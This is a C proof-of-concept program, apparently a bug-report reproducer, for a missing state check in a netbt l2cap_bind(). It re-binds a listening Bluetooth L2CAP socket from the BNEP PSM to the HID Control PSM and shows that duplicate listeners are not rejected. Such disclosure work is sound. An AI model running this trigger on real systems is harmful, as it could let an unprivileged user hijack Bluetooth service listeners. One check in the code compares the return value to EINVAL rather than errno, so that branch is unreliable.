/*
 * DF-5750 -- l2cap_bind() has no channel-state check.
 *
 * sys/netbt/l2cap_upper.c:106-112 l2cap_bind() memcpy's the new local
 * address into the channel unconditionally: unlike l2cap_listen()
 * (which validates) and l2cap_connect() (l2cap_cid_alloc() rejects a
 * non-CLOSED channel), a channel that is already LISTENING on one PSM
 * can be re-bound in place to any other PSM/address, silently mutating
 * the routing key of a live listener on l2cap_listen_list (sorted at
 * l2cap_listen() time by the OLD psm, matched first-match at
 * l2cap_signal.c:266-273 with the NEW psm).  NetBSD's rfcomm_bind()
 * equivalent gained a state check upstream (cf. DF-5747); l2cap_bind()
 * never did.
 *
 * Expected (vulnerable):
 *   bind(psm=BNEP) = 0
 *   listen()       = 0
 *   RE-bind(psm=HID_CONTROL) on the LISTENING socket = 0   <-- BUG
 *   listen() again  = EINVAL (lcid marker blocks, socket stays a
 *                     listener but now matches a different PSM)
 * Control: a second socket can bind the SAME psm the first one is
 * listening on (no duplicate-listener rejection).
 *
 * DF-5750 evidence: run as an unprivileged user on a system with
 * netbt loaded (kldload netbt).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netbt/bluetooth.h>

static int
mkaddr(struct sockaddr_bt *sa, uint16_t psm)
{
	memset(sa, 0, sizeof(*sa));
	sa->bt_len = sizeof(*sa);
	sa->bt_family = AF_BLUETOOTH;
	sa->bt_psm = psm;
	/* bt_bdaddr left ANY: matches any local controller */
	return 0;
}

int
main(void)
{
	struct sockaddr_bt sa;
	int s, s2, r;

	s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
	if (s < 0) {
		printf("socket: %s (is netbt loaded?)\n", strerror(errno));
		return 1;
	}

	mkaddr(&sa, 0x000f);			/* BNEP */
	r = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	printf("bind(psm=BNEP)           = %d (%s)\n", r,
	    r ? strerror(errno) : "ok");

	r = listen(s, 1);
	printf("listen()                 = %d (%s)\n", r,
	    r ? strerror(errno) : "ok, channel now on l2cap_listen_list");

	/*
	 * The bug: re-bind the LISTENING channel to a different PSM.
	 * Upstream semantics (and the l2cap_connect/l2cap_listen state
	 * discipline) require EINVAL/EBUSY here.
	 */
	mkaddr(&sa, 0x0011);			/* HID Control */
	r = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	printf("RE-bind(psm=HID_CNTL) on the LISTENING socket = %d (%s)%s\n",
	    r, r ? strerror(errno) : "ok",
	    r == 0 ? "   <-- DF-5750: state check missing" : "");

	/* the channel is still a listener, now advertising the NEW psm */
	r = listen(s, 1);
	printf("listen() again           = %d (%s)  [%s]\n", r,
	    r ? strerror(errno) : "ok",
	    r == EINVAL ? "still a listener -- with the mutated PSM" :
	    "unexpected");

	/* no duplicate-listener rejection either: */
	s2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
	mkaddr(&sa, 0x0011);			/* same PSM as the mutant */
	r = bind(s2, (struct sockaddr *)&sa, sizeof(sa));
	printf("bind(same psm on 2nd socket) = %d (%s)\n", r,
	    r ? strerror(errno) : "ok (no duplicate-PSM rejection)");
	r = listen(s2, 1);
	printf("listen() on 2nd socket   = %d (%s)\n", r,
	    r ? strerror(errno) : "ok");

	close(s2);
	close(s);
	return 0;
}
